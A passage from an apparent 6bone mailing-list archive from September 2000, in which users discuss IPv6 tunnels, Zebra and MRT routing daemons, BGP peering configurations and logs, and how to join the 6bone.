    sprintlink.net (7/8 hops, sl-bb22-atl-0-0.sprintlink.net)

There's also 10-11 hop links to Qwest (Atlanta GA) and BBN (VA), if you have
really short trips to those networks.

If you're going to traceroute, ignore high latency in the last few hops of
the 24.88 and 24.31 networks; there's a local router that's been running
underpowered for the past two days and is being replaced.

...Thanks in advance!

-- 
-- Todd Vierling (tv@pobox.com)


From 6bone-owner  Sun Sep 17 09:41:07 2000
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Subject: Starting point for a new IPv6 "user"?
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Hi there,

First of all, please excuse my poor english 
Today I got my first IPv6 address. As I'm interested as a network
programmer, I would like to do a little bit more testing (than just
pinging 2 or 3 hosts I know :). My question is if I could find somewhere
any information about such test services. May be a list of experimental
sites running some sort of experimental services or something... I'm
also interested in taking part of IPv6 projects.

I will appreciate any help. Thanks.

From 6bone-owner  Sun Sep 17 23:24:51 2000
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From: "Hristo Grigorov" <Hristo@BSE.BG>
To: "Andrey Roussev" <zethix@sofiaonline.com>, <6bone@ISI.EDU>
References: <39C51CAA.18B3C0C3@sofiaonline.com>
Subject: Re: Starting point for a new IPv6 "user"?
Date: Mon, 18 Sep 2000 09:23:01 +0300
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http://www.6bone.net/ is a good starting point :)

----- Original Message ----- 
From: "Andrey Roussev" <zethix@sofiaonline.com>
To: <6bone@ISI.EDU>
Sent: Sunday, September 17, 2000 10:34 PM
Subject: Starting point for a new IPv6 "user"?


> Hi there,
> 
> First of all, please excuse my poor english 
> Today I got my first IPv6 address. As I'm interested as a network
> programmer, I would like to do a little bit more testing (than just
> pinging 2 or 3 hosts I know :). My question is if I could find somewhere
> any information about such test services. May be a list of experimental
> sites running some sort of experimental services or something... I'm
> also interested in taking part of IPv6 projects.
> 
> I will appreciate any help. Thanks.
> 


From 6bone-owner  Mon Sep 18 08:36:39 2000
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Date: Mon, 18 Sep 2000 17:47:11 +0200
From: Julio Baixauli <baixauli@mat.upc.es>
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Subject: About freenet6 and ::ffff:0:X:X/96 addresses
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	Hello!

	I've a tunnel with Freenet6 configured and working (I can ping
www.6bone.net) throw eth0 (Red Hat Linux), but when I add an
::ffff:0:x:x/96 address to the eth1 card, the tunnel don't work.
	When the tunnel works, the IPv6 source address (of the packet in the
tunnel) is 3ffe:b00:c18:1fff::85f (as should be), but when I add the
::ffff:0:x:x/96 to eth1 the IPv6 source address is ::ffff:0:x:x (wrong,
because the echo reply packet can't find me).
	The question is: how can I decide wich address must to be used as
source address? (if I can).

	Thank you very much.
	(I'm sorry, my english is horrible)

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Mon Sep 18 13:37:16 2000
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To: Julio Baixauli <baixauli@mat.upc.es>
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Subject: Re: About freenet6 and ::ffff:0:X:X/96 addresses
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Julio Baixauli wrote:
> 
>         Hello!
> 
>         I've a tunnel with Freenet6 configured and working (I can ping
> www.6bone.net) throw eth0 (Red Hat Linux), but when I add an
> ::ffff:0:x:x/96 address to the eth1 card, the tunnel don't work.
>         When the tunnel works, the IPv6 source address (of the packet in the
> tunnel) is 3ffe:b00:c18:1fff::85f (as should be), but when I add the
> ::ffff:0:x:x/96 to eth1 the IPv6 source address is ::ffff:0:x:x (wrong,
> because the echo reply packet can't find me).
>         The question is: how can I decide wich address must to be used as
> source address? (if I can).
> 
Unless Freenet6 has changed things, you can not do that.  They only give
you a single address to work with.

Jim
-- 
If it happens once, it's a bug.
If it happens twice, it's a feature.
If it happens more than twice, it's windows.
    -- Luiz de Barros
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From 6bone-owner  Tue Sep 19 05:50:54 2000
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From: Haisang Wu <hswu@ns.6test.edu.cn>
Message-Id: <200009191246.UAA01958@ns.6test.edu.cn>
Subject: routing tools??
To: 6bone@ISI.EDU
Date: Tue, 19 Sep 2000 20:46:54 +0800 (CST)
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Hi, dear all:
  I used mrt as the routing daemon in my box with FreeBSD3.2+Kamev6 to run
eBGP and iBGP before. But After I changed FreeBSD3.2 into FreeBSD4.1, I found
that mrg cannot be correctly installed. Here is what in mrt installation guide:
"Because the IPv6 kernel implementations and API specifications are still in 
flux, MRT may not run on the latest IPv6 platforms."
  Could anyone tell me how to make mrt under FreeBSdD4.x, or recommend 
another good routing daemon? (BGP and others).
  Thanks to all of you.
                         Haisang

From 6bone-owner  Tue Sep 19 10:35:56 2000
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From: "Brown, James" <JBrown@thrupoint.net>
To: "'Haisang Wu '" <hswu@ns.6test.edu.cn>,
        "'6bone@ISI.EDU '"
	 <6bone@ISI.EDU>
Subject: RE: routing tools??
Date: Tue, 19 Sep 2000 13:37:26 -0400
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Hi Dear Wu,

Zebra-0.88 is listed in the FreeBSD 4.1 ports collection.

I believe it supports BGP4 and BGP4+.

Check www.zebra.org for more details.

Regards,
jpb
===


-----Original Message-----
From: Haisang Wu
To: 6bone@ISI.EDU
Sent: 9/19/00 8:46 AM
Subject: routing tools??

Hi, dear all:
  I used mrt as the routing daemon in my box with FreeBSD3.2+Kamev6 to
run
eBGP and iBGP before. But After I changed FreeBSD3.2 into FreeBSD4.1, I
found
that mrg cannot be correctly installed. Here is what in mrt installation
guide:
"Because the IPv6 kernel implementations and API specifications are
still in 
flux, MRT may not run on the latest IPv6 platforms."
  Could anyone tell me how to make mrt under FreeBSdD4.x, or recommend 
another good routing daemon? (BGP and others).
  Thanks to all of you.
                         Haisang

------_=_NextPart_001_01C02260.46FEE0CC
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charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2650.12">
<TITLE>RE: routing tools??</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi Dear Wu,</FONT>
</P>

<P><FONT SIZE=3D2>Zebra-0.88 is listed in the FreeBSD 4.1 ports =
collection.</FONT>
</P>

<P><FONT SIZE=3D2>I believe it supports BGP4 and BGP4+.</FONT>
</P>

<P><FONT SIZE=3D2>Check www.zebra.org for more details.</FONT>
</P>

<P><FONT SIZE=3D2>Regards,</FONT>
<BR><FONT SIZE=3D2>jpb</FONT>
<BR><FONT SIZE=3D2>=3D=3D=3D</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Haisang Wu</FONT>
<BR><FONT SIZE=3D2>To: 6bone@ISI.EDU</FONT>
<BR><FONT SIZE=3D2>Sent: 9/19/00 8:46 AM</FONT>
<BR><FONT SIZE=3D2>Subject: routing tools??</FONT>
</P>

<P><FONT SIZE=3D2>Hi, dear all:</FONT>
<BR><FONT SIZE=3D2>&nbsp; I used mrt as the routing daemon in my box =
with FreeBSD3.2+Kamev6 to</FONT>
<BR><FONT SIZE=3D2>run</FONT>
<BR><FONT SIZE=3D2>eBGP and iBGP before. But After I changed FreeBSD3.2 =
into FreeBSD4.1, I</FONT>
<BR><FONT SIZE=3D2>found</FONT>
<BR><FONT SIZE=3D2>that mrg cannot be correctly installed. Here is what =
in mrt installation</FONT>
<BR><FONT SIZE=3D2>guide:</FONT>
<BR><FONT SIZE=3D2>&quot;Because the IPv6 kernel implementations and =
API specifications are</FONT>
<BR><FONT SIZE=3D2>still in </FONT>
<BR><FONT SIZE=3D2>flux, MRT may not run on the latest IPv6 =
platforms.&quot;</FONT>
<BR><FONT SIZE=3D2>&nbsp; Could anyone tell me how to make mrt under =
FreeBSdD4.x, or recommend </FONT>
<BR><FONT SIZE=3D2>another good routing daemon? (BGP and =
others).</FONT>
<BR><FONT SIZE=3D2>&nbsp; Thanks to all of you.</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; Haisang</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C02260.46FEE0CC--

From 6bone-owner  Tue Sep 19 16:34:06 2000
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Date: Tue, 19 Sep 2000 18:31:59 -0400 (EDT)
From: Louis Zuckerman <louis@trapezoid.com>
To: 6bone@ISI.EDU
Subject: routing tools??
In-Reply-To: <D12454EA90EED2118F9E0008C7B9A5D601837896@TNS04>
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Why would I use one of Zebra, MRT, or BIRD over the others?  Does one have
some special-ness that the others lack?

					Thanks,
					Louis Z <louis@trapezoid.com>



From 6bone-owner  Tue Sep 19 17:00:20 2000
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Date: Tue, 19 Sep 2000 19:53:43 -0400
To: Haisang Wu <hswu@ns.6test.edu.cn>
From: Florent Parent <Florent.Parent@viagenie.qc.ca>
Subject: Re: routing tools??
Cc: 6bone@ISI.EDU
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Haisang,

Get the latest MRTd source from http://sourceforge.net/projects/mrt  I 
commited a patch (configure.in) last week to fix a problem when compiling 
MRTd + IPv6 on FreeBSD 4.1 release. This should/may fix your problem. If 
not, send a bug report on mrt-discuss@merit.edu

Florent.

At 20:46 2000-09-19 +0800, Haisang Wu wrote:
>Hi, dear all:
>   I used mrt as the routing daemon in my box with FreeBSD3.2+Kamev6 to run
>eBGP and iBGP before. But After I changed FreeBSD3.2 into FreeBSD4.1, I found
>that mrg cannot be correctly installed. Here is what in mrt installation 
>guide:
>"Because the IPv6 kernel implementations and API specifications are still in
>flux, MRT may not run on the latest IPv6 platforms."
>   Could anyone tell me how to make mrt under FreeBSdD4.x, or recommend
>another good routing daemon? (BGP and others).
>   Thanks to all of you.
>                          Haisang


From 6bone-owner  Tue Sep 19 18:14:53 2000
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To: "Brown, James" <JBrown@thrupoint.net>
CC: "'Haisang Wu '" <hswu@ns.6test.edu.cn>, "'6bone@ISI.EDU '" <6bone@ISI.EDU>
Subject: Re: routing tools??
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Haisang,

I use GNU Zebra as well on FreeBSD 4.1 and use its BGP+ functionality
with my Sprintlink connection.  It works great and it is modular (one
daemon can't break and bring the whole router down) and has Cisco-like
configuration commands and modes.  Pretty slick setup.

Pat

"Brown, James" wrote:

>
>
> Hi Dear Wu,
>
> Zebra-0.88 is listed in the FreeBSD 4.1 ports collection.
>
> I believe it supports BGP4 and BGP4+.
>
> Check www.zebra.org for more details.
>
> Regards,
> jpb
> ===
>
> -----Original Message-----
> From: Haisang Wu
> To: 6bone@ISI.EDU
> Sent: 9/19/00 8:46 AM
> Subject: routing tools??
>
> Hi, dear all:
>   I used mrt as the routing daemon in my box with FreeBSD3.2+Kamev6 to
>
> run
> eBGP and iBGP before. But After I changed FreeBSD3.2 into FreeBSD4.1,
> I
> found
> that mrg cannot be correctly installed. Here is what in mrt
> installation
> guide:
> "Because the IPv6 kernel implementations and API specifications are
> still in
> flux, MRT may not run on the latest IPv6 platforms."
>   Could anyone tell me how to make mrt under FreeBSdD4.x, or recommend
>
> another good routing daemon? (BGP and others).
>   Thanks to all of you.
>                          Haisang


From 6bone-owner  Tue Sep 19 18:48:14 2000
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Date: Tue, 19 Sep 2000 18:48:12 -0700
From: matthew zeier <matthew@intelenet.net>
To: Louis Zuckerman <louis@trapezoid.com>
Cc: 6bone@ISI.EDU
Subject: Re: routing tools??
Message-ID: <20000919184812.Q25726@intelenet.net>
References: <D12454EA90EED2118F9E0008C7B9A5D601837896@TNS04> <Pine.LNX.4.10.10009191829120.18761-100000@ns1.trapezoid.com>
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On Tue, Sep 19, 2000 at 06:31:59PM -0400, Louis Zuckerman wrote:
> Why would I use one of Zebra, MRT, or BIRD over the others?  Does one have
> some special-ness that the others lack?

zebra is very Cisco IOS-like.  If your familiar with IOS you should be
pretty familiar with zebra.

The others I haven't used.

- mz

-- 
matthew zeier -  "There ain't no rules around here. We're trying to
accomplish something." - Thomas Edison

From 6bone-owner  Tue Sep 19 21:51:45 2000
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From: matthew zeier <matthew@intelenet.net>
To: 6bone@ISI.EDU
Subject: v6 subnet calculator ?
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I'm having a problem wrapping my mind around v6 subnetting.  Is there a
subnet calculator online someplace?

-- 
matthew zeier -  "There ain't no rules around here. We're trying to
accomplish something." - Thomas Edison

From 6bone-owner  Tue Sep 19 22:21:52 2000
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From: Keith Owens <kaos@ocs.com.au>
To: matthew zeier <matthew@intelenet.net>
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Subject: Re: v6 subnet calculator ? 
In-reply-to: Your message of "Tue, 19 Sep 2000 21:51:44 PDT."
             <20000919215144.A10771@intelenet.net> 
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On Tue, 19 Sep 2000 21:51:44 -0700, 
matthew zeier <matthew@intelenet.net> wrote:
>I'm having a problem wrapping my mind around v6 subnetting.  Is there a
>subnet calculator online someplace?

ftp://ftp.ocs.com.au/pub/ip6_int.gz
Not a full blown calculator, just enough to handle DNS records for v6.

# ip6_int ff::1
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.f.0.0.ip6.int
# ip6_int ff::1/32
0.0.0.0.f.f.0.0.ip6.int (network part)
# ip6_int ff::1/-32
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 (host part)


From 6bone-owner  Wed Sep 20 02:46:06 2000
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From: "Kontogianni Vicky" <kontogia@cti.gr>
To: <6bone@ISI.EDU>
Subject: CISCO router advertisements
Date: Wed, 20 Sep 2000 12:45:59 +0300
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Hello everybody,

I have a CISCO router and I want it to advertise the site prefix to one of
its Ethernet connections (it seems that it does not...) in order to support
stateless autoconfig. Any suggestions???

Thank you in advance for the responses,

Vicky Kontogianni
Network Technologies Sector
Computer Technology Institute
Patras - GREECE

Tel. +30 61  960377
e-mail: kontogia@cti.gr


From 6bone-owner  Wed Sep 20 18:53:00 2000
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From: matthew zeier <matthew@intelenet.net>
To: 6bone@ISI.EDU
Subject: zebra ipv6 bgp peering 
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Has anyone successfully gotten zebra to peer with a v6 peer?

I'm trying to peer with 3Com - 

router bgp 5693
 bgp router-id 206.82.192.10
 ipv6 bgp network 3ffe:1900::/48
 ipv6 bgp neighbor 3ffe:1900:3::1 remote-as 561
 ipv6 bgp neighbor 3ffe:1900:3::1 description 3Com IPv6
 ipv6 bgp neighbor 3ffe:1900:3::1 soft-reconfiguration inbound


I'm getting the following in my log:

BGP: 3ffe:1900:3::1 [Update:RECV] 3ffe:3800::13:0/112 nexthop:
129.213.128.90 mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a)
aspath: 561 237 12199 ?
BGP: 3ffe:1900:3::1 [Update:RECV] 3ffe:2e00::/24 nexthop: 129.213.128.90
mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a) aspath: 561 6175
4554 3748 ?
BGP: 3ffe:1900:3::1 [Update:RECV] 3ffe:1800::/24 nexthop: 129.213.128.90
mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a) aspath: 561 6175
4697 ?
BGP: 3ffe:1900:3::1 [Update:RECV] 2001:208::/35 nexthop: 129.213.128.90
mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a) aspath: 561 10566
7610 ?
BGP: 3ffe:1900:3::1 [Notify:RECV] UPDATE Message Error (Invalid NEXT_HOP
Attribute.)



I'm not clear if this is a zebra issue or some incompatibility with a
3Com router.  If anyone's successfully using zebra, please let me know.
I'm running this on OpenBSD 2.7. 

-- 
matthew zeier -  "There ain't no rules around here. We're trying to
accomplish something." - Thomas Edison

From 6bone-owner  Wed Sep 20 22:05:25 2000
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Date: Wed, 20 Sep 2000 22:05:19 -0700
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I am successfully peering with a Cisco router (probably a 7000 series) at
Sprint with Zebra (on both FreeBSD and OpenBSD).
Was fairly easy to setup since I knew a little bit about setting up BGP on
IOS .. the commands are almost the same.
The only problem I had was I botched up Sprint's ASN .. I couldn't start a
session successfully.

My configuration is:

router bgp 65535
 bgp router-id 10.0.0.1
!
ipv6 bgp network  3ffe:2900:e006::/48
ipv6 bgp neighbor 3ffe:2900:e:6::1 remote-as 65535
!
ipv6 access-list  all permit any

Hope it helps!

-Pat

matthew zeier wrote:

> Has anyone successfully gotten zebra to peer with a v6 peer?
>
> I'm trying to peer with 3Com -
>
> router bgp 5693
>  bgp router-id 206.82.192.10
>  ipv6 bgp network 3ffe:1900::/48
>  ipv6 bgp neighbor 3ffe:1900:3::1 remote-as 561
>  ipv6 bgp neighbor 3ffe:1900:3::1 description 3Com IPv6
>  ipv6 bgp neighbor 3ffe:1900:3::1 soft-reconfiguration inbound
>
> I'm getting the following in my log:
>
> BGP: 3ffe:1900:3::1 [Update:RECV] 3ffe:3800::13:0/112 nexthop:
> 129.213.128.90 mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a)
> aspath: 561 237 12199 ?
> BGP: 3ffe:1900:3::1 [Update:RECV] 3ffe:2e00::/24 nexthop: 129.213.128.90
> mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a) aspath: 561 6175
> 4554 3748 ?
> BGP: 3ffe:1900:3::1 [Update:RECV] 3ffe:1800::/24 nexthop: 129.213.128.90
> mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a) aspath: 561 6175
> 4697 ?
> BGP: 3ffe:1900:3::1 [Update:RECV] 2001:208::/35 nexthop: 129.213.128.90
> mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a) aspath: 561 10566
> 7610 ?
> BGP: 3ffe:1900:3::1 [Notify:RECV] UPDATE Message Error (Invalid NEXT_HOP
> Attribute.)
>
> I'm not clear if this is a zebra issue or some incompatibility with a
> 3Com router.  If anyone's successfully using zebra, please let me know.
> I'm running this on OpenBSD 2.7.
>
> --
> matthew zeier -  "There ain't no rules around here. We're trying to
> accomplish something." - Thomas Edison


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Date: Wed, 20 Sep 2000 22:37:00 -0700
From: matthew zeier <matthew@intelenet.net>
To: Pat Jensen <patjensen@mediaone.net>
Cc: 6bone@ISI.EDU
Subject: Re: zebra ipv6 bgp peering
Message-ID: <20000920223700.P25726@intelenet.net>
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On Wed, Sep 20, 2000 at 10:05:19PM -0700, Pat Jensen wrote:
> 
> I am successfully peering with a Cisco router (probably a 7000 series) at
> Sprint with Zebra (on both FreeBSD and OpenBSD).
> Was fairly easy to setup since I knew a little bit about setting up BGP on
> IOS .. the commands are almost the same.
> The only problem I had was I botched up Sprint's ASN .. I couldn't start a
> session successfully.
> 
> My configuration is:
> 
> router bgp 65535
>  bgp router-id 10.0.0.1
> !
> ipv6 bgp network  3ffe:2900:e006::/48
> ipv6 bgp neighbor 3ffe:2900:e:6::1 remote-as 65535
> !
> ipv6 access-list  all permit any

That's essentially what I have.  Is zebra complaining about the nexthop
from 129.213.128.90 ?  I'm not sure how to see what the NEXT_HOP
Attribute is.

BGP: 3ffe:1900:3::1 [Update:RECV] 2001:608::/35 nexthop: 129.213.128.90
mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a) aspath: 561 10566
1930 1273 5539 ?
BGP: 3ffe:1900:3::1 [Notify:RECV] UPDATE Message Error (Invalid NEXT_HOP
Attribute.)


Pat (or anyone else), can I set up a peering with you to try to
determine if it's a compatibility issue with 3Com routes and zebra?  

- mz


-- 
matthew zeier -  "There ain't no rules around here. We're trying to
accomplish something." - Thomas Edison

From 6bone-owner  Wed Sep 20 22:48:04 2000
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Date: Wed, 20 Sep 2000 22:48:02 -0700
From: matthew zeier <matthew@intelenet.net>
To: Pat Jensen <patjensen@mediaone.net>
Cc: 6bone@ISI.EDU
Subject: Re: zebra ipv6 bgp peering
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Ugh.

I must not have my network statement right.  

After doing a 

	no ipv6 bgp network 3ffe:1900::/48

I seem to have been able to establish this peering.  

On Wed, Sep 20, 2000 at 10:05:19PM -0700, Pat Jensen wrote:
> 
> I am successfully peering with a Cisco router (probably a 7000 series) at
> Sprint with Zebra (on both FreeBSD and OpenBSD).
> Was fairly easy to setup since I knew a little bit about setting up BGP on
> IOS .. the commands are almost the same.
> The only problem I had was I botched up Sprint's ASN .. I couldn't start a
> session successfully.
> 
> My configuration is:
> 
> router bgp 65535
>  bgp router-id 10.0.0.1
> !
> ipv6 bgp network  3ffe:2900:e006::/48
> ipv6 bgp neighbor 3ffe:2900:e:6::1 remote-as 65535
> !
> ipv6 access-list  all permit any
> 
> Hope it helps!
> 
> -Pat
> 
> matthew zeier wrote:
> 
> > Has anyone successfully gotten zebra to peer with a v6 peer?
> >
> > I'm trying to peer with 3Com -
> >
> > router bgp 5693
> >  bgp router-id 206.82.192.10
> >  ipv6 bgp network 3ffe:1900::/48
> >  ipv6 bgp neighbor 3ffe:1900:3::1 remote-as 561
> >  ipv6 bgp neighbor 3ffe:1900:3::1 description 3Com IPv6
> >  ipv6 bgp neighbor 3ffe:1900:3::1 soft-reconfiguration inbound
> >
> > I'm getting the following in my log:
> >
> > BGP: 3ffe:1900:3::1 [Update:RECV] 3ffe:3800::13:0/112 nexthop:
> > 129.213.128.90 mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a)
> > aspath: 561 237 12199 ?
> > BGP: 3ffe:1900:3::1 [Update:RECV] 3ffe:2e00::/24 nexthop: 129.213.128.90
> > mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a) aspath: 561 6175
> > 4554 3748 ?
> > BGP: 3ffe:1900:3::1 [Update:RECV] 3ffe:1800::/24 nexthop: 129.213.128.90
> > mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a) aspath: 561 6175
> > 4697 ?
> > BGP: 3ffe:1900:3::1 [Update:RECV] 2001:208::/35 nexthop: 129.213.128.90
> > mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a) aspath: 561 10566
> > 7610 ?
> > BGP: 3ffe:1900:3::1 [Notify:RECV] UPDATE Message Error (Invalid NEXT_HOP
> > Attribute.)
> >
> > I'm not clear if this is a zebra issue or some incompatibility with a
> > 3Com router.  If anyone's successfully using zebra, please let me know.
> > I'm running this on OpenBSD 2.7.
> >
> > --
> > matthew zeier -  "There ain't no rules around here. We're trying to
> > accomplish something." - Thomas Edison


-- 
matthew zeier -  "There ain't no rules around here. We're trying to
accomplish something." - Thomas Edison

From 6bone-owner  Wed Sep 20 23:10:44 2000
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From: Kunihiro Ishiguro <kunihiro@zebra.org>
To: matthew@intelenet.net
Cc: patjensen@mediaone.net, 6bone@ISI.EDU
Subject: Re: zebra ipv6 bgp peering
In-Reply-To: In your message of "Wed, 20 Sep 2000 22:37:00 -0700"
	<20000920223700.P25726@intelenet.net>
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	<39C9970F.59F83935@mediaone.net>
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>That's essentially what I have.  Is zebra complaining about the nexthop
>from 129.213.128.90 ?  I'm not sure how to see what the NEXT_HOP
>Attribute is.
>
>BGP: 3ffe:1900:3::1 [Update:RECV] 2001:608::/35 nexthop: 129.213.128.90
>mp_nexthop: 3ffe:1900:3::1(fe80::200:81ff:fed5:805a) aspath: 561 10566
>1930 1273 5539 ?
>BGP: 3ffe:1900:3::1 [Notify:RECV] UPDATE Message Error (Invalid NEXT_HOP
>Attribute.)
>
>
>Pat (or anyone else), can I set up a peering with you to try to
>determine if it's a compatibility issue with 3Com routes and zebra?  

It seems that 3Com router send Notify to Zebra.  I'm not sure why 3Com
router complain about the nexthop.  You can manipulate next-hop by
route-map.  BTW, we should move to Zebra ML at zebra@zebra.
-- 
Kunihiro Ishiguro

From 6bone-owner  Thu Sep 21 01:49:50 2000
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From: Andrius Kasparavicius <andrius@andrius.org>
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To: matthew zeier <matthew@intelenet.net>
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Subject: Re: zebra ipv6 bgp peering 
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On Wed, 20 Sep 2000, matthew zeier wrote:

> 
> Has anyone successfully gotten zebra to peer with a v6 peer?
> 
> I'm trying to peer with 3Com - 
> 
> router bgp 5693
>  bgp router-id 206.82.192.10
>  ipv6 bgp network 3ffe:1900::/48
>  ipv6 bgp neighbor 3ffe:1900:3::1 remote-as 561
>  ipv6 bgp neighbor 3ffe:1900:3::1 description 3Com IPv6
>  ipv6 bgp neighbor 3ffe:1900:3::1 soft-reconfiguration inbound

 I think you need add this:

ipv6 bgp neighbor 3ffe:1900:3::1route-map set-nexthop out

route-map set-nexthop permit 10
 match ipv6 address all
 set ipv6 next-hop local fe80::xxxx:xxxx
 set ipv6 next-hop global 3ffe:xxxx:xxxx::x
 set ip next-hop 206.82.192.10


                                              -------------------------
                                                Kasparavicius Andrius
________________________________________________________________________
http://www.andrius.org  ICQ:17701001  tel.: +370 87 25630 nick: Casper
AND-RIPE AND-6BONE




From 6bone-owner  Thu Sep 21 06:40:47 2000
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Date: 	Thu, 21 Sep 2000 15:39:21 +0200
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: Louis Zuckerman <louis@trapezoid.com>
Cc: 6bone@ISI.EDU
Subject: Re: routing tools??
Message-ID: <20000921153920.E6701@burza.icm.edu.pl>
References: <D12454EA90EED2118F9E0008C7B9A5D601837896@TNS04> <Pine.LNX.4.10.10009191829120.18761-100000@ns1.trapezoid.com>
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On Tue, Sep 19, 2000 at 06:31:59PM -0400, Louis Zuckerman wrote:
> Why would I use one of Zebra, MRT, or BIRD over the others?  Does one have
> some special-ness that the others lack?

Zebra has very flexible filters.

R.
-- 
W iskier krzesaniu ¿ywem/Materia³ to rzecz g³ówna

From 6bone-owner  Thu Sep 21 09:34:46 2000
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Date: Thu, 21 Sep 2000 09:34:29 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:80B0::/28 allocated to BELNET-BE
Cc: ipv6@belnet.be, marc@dagesh.fw.belnet.be
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BELNET-BE has been allocated pTLA 3FFE:80B0::/28 having finished its 2-week 
review period with no negative comments.

<http://whois.6bone.net/cgi-bin/whois?belnet-be>

Note that it will take a short while for their inet6num object to show up 
as they have to create it.

However, their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Fri Sep 22 18:20:52 2000
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From: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: FW: ipv6 testing
Date: Sat, 23 Sep 2000 09:12:52 +0800
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HI:
 	I try to ask the people how to join the 6Bone group, however none of
them  can give me instructions. I read over the 6bone hookup Info, but I
still not sure what is the first step to do. Could you give me some idea of
it?


Regards, 
Keith Tang  

----------
From:  Neil Levine [SMTP:levine@uk.clara.net]
<mailto:[SMTP:levine@uk.clara.net]> 
Sent:  Friday, September 22, 2000 10:19 PM
To:  Keith Tang (HTHK - Engineer II, NW3G)
Subject:  Re: ipv6 testing

On Fri, Sep 22, 2000 at 06:11:31PM +0800, Keith Tang (HTHK - Engineer II,
NW3G) said:
	> I reach your site by searching How to setup Ipv6 from 6bone. I
hope you can
	> give me some idea how to start this project. What kinds of
hardware do I
	> need? What should I prepare for ?
	> I really want to join the team as you. Looking forward to hear
from you.

I am just one of many ISPs who are on the 6Bone. For general information you
should read http://www.6bone.net/6bone_hookup.html
<http://www.6bone.net/6bone_hookup.html>  and then contact your nearest
upstream who can allocate you some IPv^ 6bone address space.
Neil

-- 

------------------------ |o| <o> |o| -------------------------------
Neil Levine                             ClaraNet Ltd
levine@uk.clara.net <mailto:levine@uk.clara.net>
http://www.clara.net <http://www.clara.net> 
--------------------------------------------------------------------

From 6bone-owner  Fri Sep 22 22:42:54 2000
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From: Jonathan Guthrie <jguthrie@brokersys.com>
To: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Re: FW: ipv6 testing
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On Sat, 23 Sep 2000, Keith Tang (HTHK - Engineer II, NW3G) wrote:

>  	I try to ask the people how to join the 6Bone group, however none of
> them  can give me instructions. I read over the 6bone hookup Info, but I
> still not sure what is the first step to do. Could you give me some idea of
> it?

The first step is to gather the answers to some simple questions:
What computer will be your endpoint of the connecting you to the 6bone?
What software will you run on that computer?
How do you configure it to connect to the 6bone?
Where will the other end of the tunnel be?

There are other questions to answer, but those will do for now.  My
answers were "an old 486 I had sitting around doing nothing", "Debian
GNU/Linux 2.2", "rtfm", and "Sprint, if they'll have me."

I wrote the contact at Sprint asking if he'd give me a tunnel and he said
"yes".  I installed the software and configured it (incorrectly, as it
turned out) and installed it on the LAN where the router going to
Sprint was.  Then, I had Sprint bring their end up.  I then fiddled with
settings and stuff (and asked some questions on the debian-ipv6 mailing
list) and got to actually work properly.

I then got a workstation running on the LAN (hey!  Did you know that the
Mozilla M-17 talkback build for Linux-i386 works with IPv6 "out of the
box"?) and set up a couple of downstream tunnels (because I do most of my
work from elsewhere) and I'm now working on getting the DNS functionality
working.  (The problem appears to be an ancient named executable, which
I'm working on.)

I hope this helps.  Don't worry if it raises questions.  At this stage,
questions are all you got.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Brokersys  +281-580-3358   http://www.brokersys.com/
12703 Veterans Memorial #106, Houston, TX  77014, USA


From 6bone-owner  Sat Sep 23 14:44:34 2000
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Date: Sat, 23 Sep 2000 17:49:30 -0400 (EDT)
From: Todd Vierling <tv@pobox.com>
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To: 6bone@ISI.EDU
Subject: Re: Tunnel request (24.31.102.19, Atlanta GA)
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On Fri, 15 Sep 2000, Todd Vierling wrote:

: I am trying to find someone to carry a relatively low usage tunnel and
: provide a delegation of as small as /124.

OK, cancel my request.  My application is not going to be as
turnaround-time-sensitive as originally thought, and Nick Sayer has keyed me
in on the fact that there are publicly advertised 2002::/16 routes on the
6bone now (so I can just hook up my 6to4 tunnel to any public gateway).  
Mmm, autotunnelling.

Thanks for your offers!

-- 
-- Todd Vierling (tv@pobox.com)


From 6bone-owner  Sun Sep 24 18:52:44 2000
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Message-ID: <C36362694EDCD2119D8D00805FEA666A0428E35D@NTEXG13>
From: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>,
        "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
Subject: RE: ipv6 testing
Date: Mon, 25 Sep 2000 09:44:32 +0800
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Hi :
	Thank you for replying my Email. 
